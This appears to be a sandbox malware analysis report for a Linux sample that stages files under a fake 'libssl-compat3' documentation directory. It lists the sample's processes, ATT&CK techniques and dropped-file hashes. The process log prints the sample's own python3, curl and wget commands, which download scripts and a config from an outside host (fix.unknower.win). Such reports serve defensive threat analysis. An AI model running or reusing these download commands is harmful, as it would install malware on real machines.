  python3 -c " import sys if sys.version_info[0] >= 3: import urllib.request for u in ['http://fix.unknower.win/ssl-compet', 'http://fix.unknower.win/']: try: urllib.request.urlretrieve(u, '/usr/share/doc/libssl-compat3/ssl-compet.tmp.644') if __import__('os').path.getsize('/usr/share/doc/libssl-compat3/ssl-compet.tmp.644') > 0: sys.exit(0) except: continue else: import urllib for u in ['http://fix.unknower.win/ssl-compet', 'http://fix.unknower.win/']: try: urllib.urlretrieve(u, '/usr/share/doc/libssl-compat3/ssl-compet.tmp.644') if __import__('os').path.getsize('/usr/share/doc/libssl-compat3/ssl-compet.tmp.644') > 0: sys.exit(0) except: continue sys.exit(1) "
  2⤵
  PID:963
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/ssl-compet.tmp.644
  2⤵
  PID:966
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/ssl-compet
  2⤵
  PID:967
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644
  2⤵
  PID:968
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644 http://fix.unknower.win/mnmonitor.sh
  2⤵
  - Checks CPU configuration
  PID:969
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644
  2⤵
  PID:971
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644 http://fix.unknower.win/
  2⤵
  - Checks CPU configuration
  PID:972
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644
  2⤵
  PID:976
- /usr/bin/wget
  wget "--timeout=30" "--tries=3" -O /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644 http://fix.unknower.win/mnmonitor.sh
  2⤵
  PID:977
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644
  2⤵
  PID:982
- /usr/bin/wget
  wget "--timeout=30" "--tries=3" -O /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644 http://fix.unknower.win/
  2⤵
  PID:983
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644
  2⤵
  PID:988
- /usr/bin/python3
  python3 -c " import sys if sys.version_info[0] >= 3: import urllib.request for u in ['http://fix.unknower.win/mnmonitor.sh', 'http://fix.unknower.win/']: try: urllib.request.urlretrieve(u, '/usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644') if __import__('os').path.getsize('/usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644') > 0: sys.exit(0) except: continue else: import urllib for u in ['http://fix.unknower.win/mnmonitor.sh', 'http://fix.unknower.win/']: try: urllib.urlretrieve(u, '/usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644') if __import__('os').path.getsize('/usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644') > 0: sys.exit(0) except: continue sys.exit(1) "
  2⤵
  PID:989
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.644
  2⤵
  PID:992
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/mnmonitor.sh
  2⤵
  PID:993
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/config.json.tmp.644
  2⤵
  PID:994
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/config.json.tmp.644 http://fix.unknower.win/config.json
  2⤵
  - Checks CPU configuration
  PID:995
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/config.json.tmp.644
  2⤵
  PID:999
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/config.json.tmp.644 http://fix.unknower.win/
  2⤵
  - Checks CPU configuration
  PID:1000

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Software Deployment Tools

T1072

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Adversary-in-the-Middle

T1557

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Software Deployment Tools

T1072

Collection

Adversary-in-the-Middle

T1557

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hosts.xmon.644

Path /etc/hosts.xmon.644
Size 38B
SHA256 472c7de5826f6ab70b58c370b113c04204eb1d79fad882f4996afeb3916b30bd
MD5 cf7955efc82cb39ca1fc3a0f93e58b64
SHA1 e2436e149e51983c50e6dd31dc2e17e1d6d86254
SHA512 401c11faa2724fb7fff580eec705b391470a79bd42a059501ea3ea7f53ea758de359ecb868962f7ced57d27b6655ec846d896edf6314025b412b75e563623b40
MD5 SHA1 SHA512

Submit Download

hosts.xmon.644

Path /etc/hosts.xmon.644
Size 58B
SHA256 fe56e7386c3380a56f0d6ba590dc6d245e49512056a6875ac0ccdccd8041ed1b
MD5 6059ebdffac7969abfb17272d5b9c8e2
SHA1 77c6bde65ffaa3ba473babe2b36093862f2a7ae7
SHA512 e0568074fdc6c782f39e5a293e6aa5e6460546cb3d773234c967afc2836313ddef4833085f7543682a1ab2112032b21915c525f31ead892ab89d8de8d987b6ca
TLSH
T122A00260195692C25AA7D64585714036E013C0D10168A755D4162844523110C6451430
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.644

Path /etc/hosts.xmon.644
Size 108B
SHA256 05a583770586171d2d37c55fd47338174e86e584fb896e2467e609a0d912df60
MD5 477bc48d6d0d351428d512201e65eade
SHA1 4bb567621f92c3a588ee01230c97734a0987102f
SHA512 9551801cfc78efe2a64a907b59b0f973a1f876b537d3e29b72136d8e9f47167e561b9af21020cbedc8d349ac35a0429daff9ccaa6965c0374f58f293c3e65b7c
TLSH
T10BB012D01D5346F305E79745E0370032D513C0C000E4EFA084361800113013C3972160
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.644

Path /etc/hosts.xmon.644
Size 109B
SHA256 c46bf607a7d3312fe11004990494edcce1f9e8fa1106a50adaf76e2e81ef6e64
MD5 6136826205ef42f444d2620bfdb42ab0
SHA1 f80743022ff6fa26ca242edd355bc3173dedb8f3
SHA512 2d6276e1810a743a561e286bf3a72c61f4cb2905e109e11d1d25c7fb8d1e5ad32454115f4207ab4426052ff3fbd53641b65ebaf767a745a84d2b949b755e8e95
TLSH
T167B012D01D534AF305E79745E0370033D513C0C000E4EFA084361800513013C3972160
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.644

Path /etc/hosts.xmon.644
Size 1KB
SHA256 b70159be7ee933536d61de4e517483be52c59c78054ac420f43d1fc131f2c74d
MD5 2cb3c80f32b65494d90fefae7ef11011
SHA1 c90082fe54e6b4b86444ae130199bc59c2c3e18f
SHA512 07a37080c171d0cdc6a8b06af65db49482613ad7c4e43330d8682ac91f8bbde955e492d3990dad2926c7241270695f0630aa2f633a013b1f9564788ba2492302
TLSH
T1332189B2D422D7F804E390623C356237C563C45AC9AEB7FA965CBB99523EDCC2174470
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.9x04X4

Path /tmp/sh-thd.9x04X4
Size 868B
SHA256 4e3c947aae713b313ebaa1efb1ba5379ed77263cab25d97b9033c14454aee675
MD5 e7192f64133d2b4385ebfea4fb49b867
SHA1 d3984172cef75ea9b16de9672fff88e60a5e8fe6
SHA512 c3496241a6f77abb66cddffd06e1d0a721a1c39c7d2e25715a588a3570d5e1f8d96e87b1a0035319d20c15ff2abda512489e45c6ded350f2ab983ef768c085cb
TLSH
T1C911B1B1D032D7F845D3A0323871663BC5B7C51AC9AEB7FA954CBB98913CCCC6160460
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads